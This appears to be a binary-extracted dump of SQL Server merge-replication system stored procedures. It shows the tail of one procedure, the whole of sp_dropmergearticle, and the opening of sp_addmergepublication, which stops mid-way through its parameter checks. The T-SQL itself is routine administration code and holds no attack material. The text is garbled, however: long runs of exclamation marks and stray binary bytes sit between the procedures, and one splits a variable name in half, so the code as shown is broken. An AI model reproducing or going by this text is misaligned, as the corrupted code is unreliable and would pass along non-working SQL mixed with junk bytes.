                    exec ('drop proc ' + @proc_name)
                    IF @@ERROR <> 0
                        return 1
                end
            delete from dbo.sysmergesubsetfilters where
                artid = @artid AND pubid = @pubid and join_filterid = @filterid
            IF @@ERROR <> 0
                return 1
            select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where
                artid = @artid AND pubid = @pubid
        end
    end        
!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?$|v?B
create procedure sys.sp_dropmergearticle(
    @publication sysname,      /* The publication name */
    @article sysname,          /* The article name */
    @ignore_distributor bit = 0,
    @reserved bit = 0,
    @force_invalidate_snapshot bit = 0,
    @force_reinit_subscription bit = 0,
    @ignore_merge_metadata bit = 0
    ) AS

    set nocount on

    declare @artid                    uniqueidentifier
    declare @snapshot_ready            int
    declare @objid                    int
    declare @pubid                    uniqueidentifier
    declare @pubidstr                nvarchar(38)
    declare @retcode                int
    declare @qualified_name            nvarchar(270)
    declare @filterid                int
    declare @proc_name                sysname
    declare @implicit_transaction    int
    declare @close_cursor_at_commit int
    declare @sync_objid        int
    declare @view_type        int
    declare @type            tinyint
    declare @compatlevel int
    declare @SCHEMA_TYPE_DROPARTICLE int
    declare @automatic_reinitialization_policy bit
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0
    
    select @close_cursor_at_commit = 0
    select @implicit_transaction = 0
    set @SCHEMA_TYPE_DROPARTICLE= 28
    /*
    ** Save setting values first before changing them
    */
    IF (@reserved = 0)
    BEGIN
        SELECT @implicit_transaction = @@options & 2
        SELECT @close_cursor_at_commit = @@options & 4
        SET IMPLICIT_TRANSACTIONS OFF
        SET CURSOR_CLOSE_ON_COMMIT OFF
    END
    
    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)
        
    select @pubid = pubid, 
           @snapshot_ready=snapshot_ready, 
           @compatlevel = backward_comp_level,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
        FROM dbo.sysmergepublications 
        WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

    if @snapshot_ready>0
    begin
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
            begin
                raiserror(21379, 16, -1, @article, @publication)
                return (1)
            end
        update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid
        if @@ERROR<>0
            return (1)
    end
    
    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''

    /*
    ** Parameter Check:     @article.
    ** If the @article is 'all', drop all articles for the specified
    ** publication (@publication).
    */
    if LOWER(@article) = 'all'
    BEGIN
        declare hC CURSOR LOCAL FAST_FORWARD FOR select DISTINCT name FROM dbo.sysmergeextendedarticlesview WHERE pubid=@pubid FOR READ ONLY
        
        OPEN hC
        FETCH hC INTO @article
        WHILE (@@fetch_status <> -1)
            BEGIN
                EXECUTE sys.sp_dropmergearticle @publication, @article,
                    @ignore_distributor = @ignore_distributor,
                    @reserved = 1, @ignore_merge_metadata = @ignore_merge_metadata
                FETCH hC INTO @article
            END
        CLOSE hC
        DEALLOCATE hC
        RETURN (0)
    END

    /*
    ** Parameter Check: @article.
    ** The @article name must conform to the rules for identifiers.
    */

    if @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_dropmergearticle')
        RETURN (1)
    END

    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers.
    */

    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_dropmergearticle')
        RETURN (1)
    END

    /*
    ** Ascertain the existence of the article.
    */
    select @type = NULL
    select @type = type ,
            @artid = artid,
            @objid = objid
      from dbo.sysmergeextendedarticlesview 
     where name = @article
       and pubid = @pubid
    if @type is NULL
    begin
        raiserror (20027, 16, -1, @article)
        return (1)
    end

    -- if all articles are to be dropped, ignore this checking.
    if @reserved=0 and exists (select * from dbo.sysmergesubsetfilters where pubid=@pubid and join_articlename=@article)
    begin
        raiserror(21421, 16, -1, @article)
        return (1)
    end

    -- if it is a table article and the publication could have down level subscribers do not allow the drop
    if (@compatlevel < 90) and @reserved = 0 and
       exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and status=1) and
       not exists (select * from dbo.sysmergeschemaarticles where pubid = @pubid and name = @article)
    begin
        RAISERROR (21338, 16, -1, @article, @publication)
        RETURN (1)        
    end

    /*
    **    Delete article from dbo.sysmergearticles and clear publish bit in
    **    sys.objects.
    */

    begin tran 
    save TRAN dropmergearticle
    
        exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                      @lockowner = N'Transaction'
        if @retcode<>0 or @@error<>0
        begin
            raiserror(20713, 16, -1, 'sp_dropmergearticle', @publication)
            goto FAILURE
        end

        select @got_merge_admin_applock = 1

        
        exec @retcode = sys.sp_MSdropmergearticle @pubid, @artid, @ignore_merge_metadata
        if @@ERROR <> 0 or @retcode <> 0
            goto FAILURE

        if @compatlevel >= 90
        begin
            -- post a schema change to drop the article on the subscriber
            declare @schemaversion int 
            declare @schemaguid uniqueidentifier
            declare @schematype int
            declare @schematext nvarchar(2000)
            declare @artidstr nvarchar(38)
            
            set @artidstr = '''' + convert(nchar(36), @artid) + ''''
           
            set @schemaguid = newid()
            -- in this schemachange perform article cleanup and drop the article as well if this is not a republisher
            -- put in SCHEMA_TYPE_DROPARTICLE
            set @schemaguid = newid()
            set @schematype = @SCHEMA_TYPE_DROPARTICLE 
            select @schematext = 'exec sp_MSdropmergearticle ' + @pubidstr + ', ' + @artidstr
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                select @schemaversion = 1
            exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR<>0 or @retcode<>0 goto FAILURE     
        end
        
        /*
        ** set the pub type to subset or full as appropriate
        */
        execute @retcode = sys.sp_MSsubsetpublication @publication
        if @@ERROR <> 0 or @retcode <> 0 
            goto FAILURE

        if @reserved=0
        begin
            -- now check if after this article has been removed the publication is still dynamically
            -- filtered if it was dynamically filtered before
            -- this is a lot of computation but I don't see a better way to do this
            declare @can_use_partition_groups bit
            declare @has_dynamic_filters bit 
            declare @dynamic_filters_function_list nvarchar(500) 
            declare @validate_subscriber_info nvarchar(500)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;
??B 
            declare @uses_host_name bit 
            declare @uses_suser_sname bit 
            declare @dont_raise_error bit 
            declare @dynamic_filters bit
            declare @use_partition_groups smallint
            declare @partid_eval_proc nvarchar(258)

            select @dont_raise_error = 1
            select @dynamic_filters = dynamic_filters, 
                   @use_partition_groups = use_partition_groups, 
                   @partid_eval_proc = quotename(partition_id_eval_proc)
                from dbo.sysmergepublications where pubid = @pubid
                
            exec @retcode = sys.sp_MScheck_dynamic_filters @publication,
                                            @can_use_partition_groups output,
                                            @has_dynamic_filters output,
                                            @dynamic_filters_function_list output,
                                            @validate_subscriber_info output,
                                            @uses_host_name output,
                                            @uses_suser_sname output,
                                            @dont_raise_error
            if @@error<>0 or @retcode<>0
                goto FAILURE
                
            if @dynamic_filters = 1 and @has_dynamic_filters = 0
            begin
                if exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and (status=1 or status=6))
                begin
                    if @force_reinit_subscription = 0
                    begin
                        raiserror(20697, 16, -1, @article, @publication)
                        goto FAILURE
                    end
                    else
                    begin
                        -- reinit all subscriptions
                        exec @retcode = sys.sp_MSreinitmergepublication 
                                                @publication = @publication,
                                                @upload_first = @automatic_reinitialization_policy
                                                
                        if @retcode<>0 or @@ERROR<>0
                            goto FAILURE
                    end
                end
                
                update dbo.sysmergepublications 
                    set dynamic_filters = 0, dynamic_filters_function_list = NULL
                    where pubid = @pubid
                if @@error<>0
                    goto FAILURE

                -- delete all schemachanges except for the ones just added.
                delete from dbo.sysmergeschemachange where pubid = @pubid and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
                if @@error<>0
                    goto FAILURE
            end

            if @use_partition_groups in (1,2) and @can_use_partition_groups = 0
            begin
                if (object_id(@partid_eval_proc) is not NULL)
                begin
                    exec ('drop procedure ' + @partid_eval_proc)
                end
                update dbo.sysmergepublications 
                    set use_partition_groups = NULL,
                        partition_id_eval_proc = NULL
                        where pubid = @pubid
            end
        end
    
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRAN

    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    
    RETURN (0)
FAILURE:
    RAISERROR (14047, 16, -1, @article)
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION dropmergearticle
        COMMIT TRANSACTION
    end
    /*
    ** Set back original settings
    */    
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?fv"
create procedure sys.sp_addmergepublication (
    @publication            sysname,                  /* Publication name */
    @description            nvarchar(255)= NULL,      /* Publication description */
    @retention              int          = 14,        /* Retention period of 14 days */
    @sync_mode              nvarchar(10) = 'native',  /* (bcp)native, (bcp)character */
    @allow_push             nvarchar(5)  = 'true',    /* Pulication allows push subscriptions */
    @allow_pull             nvarchar(5)  = 'true',    /* Pulication allows pull subscriptions*/
    @allow_anonymous        nvarchar(5)  = 'true',   /* Pulication allows anonymous subscriptions */
    @enabled_for_internet   nvarchar(5)  = 'false',   /* Pulication is enabled for internet */
    @centralized_conflicts  nvarchar(5)  = null,      /* deprecated, use @conflict_logging instead */
    @dynamic_filters        nvarchar(5)  = 'false',   /* Will publication be filtered on dynamic clause? */
    @snapshot_in_defaultfolder nvarchar(5) = 'true',  /* Will keep a copy of the snapshot files to the default location if an alternate folder is specified */
    @alt_snapshot_folder    nvarchar(255) = NULL,     /* Alternate folder for putting the snapshot file for this publication */
    @pre_snapshot_script    nvarchar(255) = NULL,     /* Pre snapshot commands */
    @post_snapshot_script   nvarchar(255) = NULL,     /* Post snapshot commands */
    @compress_snapshot      nvarchar(5) = 'false',    /* Snapshot compression */
    @ftp_address            sysname = NULL,           /* Post 7.0 FTP Properties */
    @ftp_port               int = 21,                 /* Post 7.0 FTP Properties */
    @ftp_subdirectory       nvarchar(255) = 'ftp',    /* Post 7.0 FTP Properties */
    @ftp_login              sysname = N'anonymous',   /* Post 7.0 FTP Properties */
    @ftp_password           sysname = NULL,           /* Post 7.0 FTP Properties */
    @conflict_retention     int = 14,                 /* Conflict retention period */
    @keep_partition_changes nvarchar(5) = 'true',    /* Optimized Partition Updates/Deletes */
    @allow_subscription_copy  nvarchar(5) = 'false',  /* Allow the subscription to be copied */
    @allow_synctoalternate    nvarchar(5) = 'false',  /* Allow the subscription to be synchronize to alternate partners */
    @validate_subscriber_info nvarchar(500) = NULL,   /* Should we validate that subscriber is using right params? */
    @add_to_active_directory  nvarchar(5) = 'false',
    @max_concurrent_merge     int = 0,                /* value of 0 means no such limit exists */
    @max_concurrent_dynamic_snapshots int = 0,        /* Maximum number of concurrent dynamic snapshot sessions */
    @use_partition_groups        nvarchar(5) = NULL,  /* NULL = Let system decide, otherwise manually set to 'true' or 'false' */
    @publication_compatibility_level nvarchar(6) = '80SP3',  -- backward compatibility level, default=Sphinx
    @replicate_ddl            int = NULL,           -- for now we only use value 1 for alter table add/drop columns and other alter table sub-statements.
                                                    -- we may need more bits for "create table, drop table, " and others
    @allow_subscriber_initiated_snapshot nvarchar(5) = 'false',
    @allow_web_synchronization      nvarchar(5) = 'false',
    @web_synchronization_url        nvarchar(500) = null, -- Default value of InternetURL for subscriptions
    @allow_partition_realignment    nvarchar(5) = 'true',        -- true = send deletes for rows that leave partition, false=do not send deletes for rows that leave partition.
    @retention_period_unit          nvarchar(10) = 'day',    -- possible values are 'day', 'days', 'dd', 'year', 'years', 'yy', 'yyyy', 'month', 'months', 'mm', 'week', 'weeks', 'wk', 'hour', 'hours', 'hh', 'minute', 'minutes', 'mi' 
    @generation_leveling_threshold	int	= 1000,			-- determines approximately how many row changes at most will be put in one generation. 0 = no limit.
    @automatic_reinitialization_policy        bit = 0, 	-- 0=no upload first on automatic reinit; 1=upload first
    @conflict_logging       		nvarchar(15)  = NULL   -- 'publisher', 'subscriber', or 'both'. Default is 'publisher' for <90 compat level and 'both' for 90 compat level
    )
    as

    set nocount on

    /*
    ** Declarations.
    */
    
    declare @retcode                    int            /* return code value for procedure execution */
    declare @push                        tinyint        /* subscription type is push */
    declare @statid                        tinyint        /* status id based on @status */
    declare @sync_modeid                tinyint        /* sync mode id based on @sync_mode */
    declare @global                        tinyint        /* subscriber type of loop-back subscription */
    declare @db_name                    sysname        /* database name */
    declare @replnick                    binary(6)    /* replica nickname */
    declare @tranpublish_bit            smallint    /* online publish bit (flag) in sysdatabases */
    declare @mergepublish_bit            smallint    /* merge publish bit (flag) in sysdatabases */
    declare @found                        int            /* flag indicating if publication is found */
    declare @pubid                        uniqueidentifier    /* Publication identifier */
    declare @allow_push_id                bit
    declare @allow_pull_id                bit
    declare @allow_anonymous_id            bit
    declare @dynamic_filters_id            bit            
    declare @allow_subscription_copy_id bit            
    declare @allow_synctoalternate_id    bit            
    declare @allow_web_synchronization_id    bit            
    declare @enabled_for_internet_id    bit
    declare @conflogging                int
    declare @priority                    real        
    declare @automatic                    tinyint        
    declare @false                        bit
    declare @true                        bit
    declare @distributor                sysname
    declare @distproc                    nvarchar(300)
    declare @distribdb                    sysname
    declare @distpubid                    int
    declare @full                        int
    declare @snapshot_in_defaultfolder_bit        bit
    declare @compress_snapshot_bit        bit
    declare @keep_before_values_int        int
    declare @enc_ftp_password            nvarchar(524)
    declare @ad_guidname                sysname
    declare @schemaversion                int 
    declare @schemaguid                    uniqueidentifier
    declare @schematype                    int
    declare @schematext                    nvarchar(2000)
    declare @artid                        uniqueidentifier
    declare @distservername                sysname
    declare @use_partition_groups_id    smallint
    declare @allow_subscriber_initiated_snapshot_id bit
    declare @allow_partition_realignment_id         bit
    declare @REPOLEVersion_70RTM        int
    declare @REPOLEVersion_70SP1        int
    declare @REPOLEVersion_70SP2        int
    declare @REPOLEVersion_80RTM        int
    declare @REPOLEVersion_90            int
    declare @REPOLEVersion_100            int    
    declare @REPOLEVersion_70RTM_string        nvarchar(5)
    declare @REPOLEVersion_70SP1_string        nvarchar(5)
    declare @REPOLEVersion_70SP2_string        nvarchar(5)
    declare @REPOLEVersion_70SP3_string        nvarchar(5)
    declare @REPOLEVersion_70SP4_string        nvarchar(5)
    declare @REPOLEVersion_80RTM_string        nvarchar(5)
    declare @REPOLEVersion_80SP1_string        nvarchar(5)
    declare @REPOLEVersion_80SP2_string        nvarchar(5)
    declare @REPOLEVersion_80SP3_string        nvarchar(5)
    declare @REPOLEVersion_90RTM_string        nvarchar(5)
    declare @REPOLE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?ULڴv"Version_100RTM_string        nvarchar(6)    
    declare @pubcompat_level_id int
    declare @retention_period_unit_id        tinyint
    declare @working_directory      nvarchar(255)
    			,@publishingservername sysname
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

        
    if (sys.fn_MSrepl_editionid() in (22, 40)) -- SQL Express or SQL_Web
    begin
        raiserror(21106, 16, -1) --This edition of SQL Server does not support publications. 
        return (1)
    end

    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    select @mergepublish_bit    = 4 
    select @tranpublish_bit        = 1
    select @priority            = 100.0
    select @automatic            = 1        /* Const: synchronization type 'automatic' */
    select @true                = 1
    select @false                = 0
    select @full                = 0        /* Const: publication type 'full' */

    set @REPOLEVersion_70RTM= 10
    set @REPOLEVersion_70SP1= 20
    set @REPOLEVersion_70SP2= 30
    set @REPOLEVersion_80RTM= 40
    set @REPOLEVersion_90= 90

    set @REPOLEVersion_100= 100        

    set @REPOLEVersion_70RTM_string = N'70RTM'
    set @REPOLEVersion_70SP1_string = N'70SP1'
    set @REPOLEVersion_70SP2_string = N'70SP2'
    set @REPOLEVersion_70SP3_string = N'70SP3'
    set @REPOLEVersion_70SP4_string = N'70SP4'
    set @REPOLEVersion_80RTM_string = N'80RTM'
    set @REPOLEVersion_80SP1_string = N'80SP1'
    set @REPOLEVersion_80SP2_string = N'80SP2'
    set @REPOLEVersion_80SP3_string = N'80SP3'
    set @REPOLEVersion_90RTM_string = N'90RTM'
    set @REPOLEVersion_100RTM_string = N'100RTM'    


    /*
    ** Set the status to Active (1)
    */
    select @statid        = 1
    select @global        = 1
    select @push        = 0
    select @db_name        = DB_NAME()
    select @ad_guidname = NULL
    			,@publishingservername = publishingservername()

    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
    
    -- Parameter check: @publication_compatibility_level: Allowed range.
    if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70RTM_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_70RTM
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP1_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_70SP1
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP2_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_70SP2
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP3_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_70SP2
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP4_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_70SP2
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80RTM_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_80RTM
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP1_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_80RTM
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP2_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_80RTM
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP3_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_80RTM
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_90RTM_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_90
    end
    else if UPPER(@publication_compatibility_level collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_100RTM_string
    begin
        select @pubcompat_level_id = @REPOLEVersion_100
    end    
    else 
    begin
        raiserror(21402, 16, -1, '@publication_compatibility_level')
        return (1)
    end

    if (@pubcompat_level_id  not in
            (
                @REPOLEVersion_70RTM,
                 @REPOLEVersion_70SP1,
                 @REPOLEVersion_70SP2,
                @REPOLEVersion_80RTM,
                @REPOLEVersion_90,
                @REPOLEVersion_100                
            )
        )
    begin
        raiserror(21402, 16, -1, '@publication_compatibility_level')
        return (1)
    end



    -- Parameter check: @publication_compatibility_level: A Katmai publication db can 
    -- only have Katmai compatible publications for the new data types.
    -- We will remove this constraint during the next phase of NewDateTime improvement
    -- yiche 12.7.2006
    if @REPOLEVersion_100 = @pubcompat_level_id and
       exists (select * from dbo.sysmergepublications where 
                   backward_comp_level < @REPOLEVersion_100)
    begin
        raiserror(21527, 16, -1, @publication, @db_name)
        return (1)
    end
    -- Parameter check: @publication_compatibility_level: A Yukon publication db can either have
    -- downlevel or Yukon compatible publications, but not both.
    else if @REPOLEVersion_90 = @pubcompat_level_id and
       exists (select * from dbo.sysmergepublications where 
                   backward_comp_level < @REPOLEVersion_90)
    begin
        raiserror(21527, 16, -1, @publication, @db_name)
        return (1)
    end
    else if @REPOLEVersion_90 > @pubcompat_level_id and
       exists (select * from dbo.sysmergepublications where 
                   backward_comp_level >= @REPOLEVersion_90)
    begin
        raiserror(21528, 16, -1, @publication, @db_name)
        return (1)
    end

    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers,
    ** and must not be the keyword 'all'.
    */
    exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_addmergepublication'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
       
    if LOWER (@publication) = 'all'
        begin
            raiserror (14034, 16, -1)
            return (1)
        end
            
    if @max_concurrent_merge<0
        begin
            raiserror(21402, 16, -1, '@max_concurrent_merge')
            return (1)
        end

    /*
    ** Parameter Check: @retention.
    */
    
    if @retention_period_unit is null
        or lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) not in ('day', 'days', 'dd', 'year', 'years', 'yy', 'yyyy', 'month', 'months', 'mm', 'week', 'weeks', 'wk', 'hour', 'hours', 'hh', 'minute', 'minutes', 'mi')
    begin
        raiserror(22527, 16, -1, @retention_period_unit)
        return 1
    end
    
    select @retention_period_unit_id = 
        case    when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('day', 'days', 'dd')
                    then 0
                when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('week', 'weeks', 'wk')
                    then 1
                when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('month', 'months', 'mm')
                    then 2
                when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('year', 'years', 'yy', 'yyyy')
                    then 3
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
?jv"               when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('hour', 'hours', 'hh')
                    then 4
                when lower(@retention_period_unit collate SQL_Latin1_General_CP1_CI_AS) in ('minute', 'minutes', 'mi')
                    then 5
        end
        
    if @retention_period_unit_id <> 0 and @pubcompat_level_id < @REPOLEVersion_90
    begin
        raiserror(22528, 16, -1, @publication)
        return 1
    end
    
    if @retention is NULL
    begin
        select @retention = 0
    end
    else if    @retention < 0 or @retention > sys.fn_units_until_maxdate(@retention_period_unit_id, getdate())
    begin
        raiserror(20050, 16, -1, 0)
        return(1)
    end

    /*
    ** Parameter Check: @conflict_retention.
    */
        
    if @conflict_retention is not NULL and @conflict_retention<0 
        begin
            raiserror(20050, 16, -1, 0)
            return(1)
        end

    /*
    ** if it is NULL, use the default value of 14 days.
    */
    if @conflict_retention is NULL 
        select @conflict_retention = 14

    /*
    ** Parameter Check: @sync_mode.
    ** Make sure that the sync_mode is one of the following:
    **
    **    id    sync_mode
    **    ==    ==========
    **     0    (bcp)native
    **     1    (bcp)character
    */
    
    if LOWER(@sync_mode collate SQL_Latin1_General_CP1_CS_AS)='portable' select @sync_mode='character'

    if LOWER(@sync_mode collate SQL_Latin1_General_CP1_CS_AS) is NULL OR LOWER(@sync_mode collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('bcp native', 'bcp character', 'native', 'character')
        begin
            raiserror (20076, 16, -1)
            return (1)
        end

    if LOWER(@sync_mode collate SQL_Latin1_General_CP1_CS_AS) = 'native' or 
       LOWER(@sync_mode collate SQL_Latin1_General_CP1_CS_AS)='bcp native' 
        select @sync_modeid = 0
    else 
        select @sync_modeid = 1
        
    if @retention_period_unit_id <> 0 and @sync_modeid = 1
    begin
        raiserror(22555, 16, -1, @publication)
        return 1
    end

    /*
    ** Parameter Check:     @allow_push.
    */

    if @allow_push IS NULL OR LOWER(@allow_push collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_push')
            RETURN (1)
        END

    if LOWER(@allow_push collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        select @allow_push_id = 1
    else 
        select @allow_push_id = 0

    /*
    ** Parameter Check:     @allow_pull.
    */

    if @allow_pull IS NULL OR LOWER(@allow_pull collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_pull')
            RETURN (1)
        END
    if LOWER(@allow_pull collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        select @allow_pull_id = 1
    else 
        select @allow_pull_id = 0

    /*
    ** Parameter Check:     @allow_anonymous.
    */

    if @allow_anonymous IS NULL OR LOWER(@allow_anonymous collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_anonymous')
            RETURN (1)
        END
    if LOWER(@allow_anonymous collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        select @allow_anonymous_id = 1
    else 
        select @allow_anonymous_id = 0
        
        
    if @generation_leveling_threshold is null
		set @generation_leveling_threshold=0
		
    if (@generation_leveling_threshold < 0)
    begin
		raiserror(21119, 16, -1, @generation_leveling_threshold, '@generation_leveling_threshold')
		return 1
	end

    /*
    ** Parameter Check:     @enabled_for_internet.
    */

    IF @enabled_for_internet IS NULL OR LOWER(@enabled_for_internet collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@enabled_for_internet')
            RETURN (1)
        END

    IF LOWER(@enabled_for_internet collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SELECT @enabled_for_internet_id = 1
    ELSE 
        SELECT @enabled_for_internet_id = 0

    /*
    ** Parameter Check: @conflict_logging, @centralized_conflicts.
    */

	-- Pick defaults based on pubcompat_level
	if @conflict_logging is null
	begin
		if @pubcompat_level_id < @REPOLEVersion_90
			set @conflict_logging = 'publisher'
		else
			set @conflict_logging = 'both'
	end
    
    if @centralized_conflicts is not null
    begin
